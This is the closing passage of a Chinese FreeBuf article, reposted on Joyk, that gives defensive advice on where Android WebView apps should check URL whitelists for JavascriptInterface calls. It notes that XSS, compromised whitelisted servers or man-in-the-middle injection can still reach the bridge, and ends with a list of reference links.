应该把白名单校验函数放在哪个环节校验?loadUrl之前 shouldOverrideUrlLoading中 如果需要对白名单进行安全等级划分,还需要在JavascriptInterface中加入校验函数,JavascriptInterface中需要使用webview.getUrl()来获取webview当前所在域。3.上面这些都做了,我的JavascriptInterface还有没有可能被攻击?

可能。比如白名单中的服务器存在XSS漏洞,或者白名单中的服务器被攻击者控制,或者webview访问没有采用安全的传输通道导致被中间人劫持等,都可以在白名单信任域中注入恶意JavaScript。

https://developer.chrome.com/multidevice/webview/overview 

https://developer.android.com/reference/android/support/test/espresso/web/bridge/JavaScriptBridge 

https://www.bleepingcomputer.com/news/security/apples-safari-falls-for-new-address-bar-spoofing-trick/ 

https://www.blackhat.com/docs/asia-16/materials/asia-16-Baloch-Bypassing-Browser-Security-Policies-For-Fun-And-Profit-wp.pdf 

https://android.googlesource.com/platform/frameworks/base/+/4afa0352d6c1046f9e9b67fbf0011bcd751fcbb5 

https://android.googlesource.com/platform/frameworks/base/+/0b57631939f5824afef06517df723d2e766e0159

*本文作者:rebeyond,本文属FreeBuf原创奖励计划,未经许可禁止转载。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK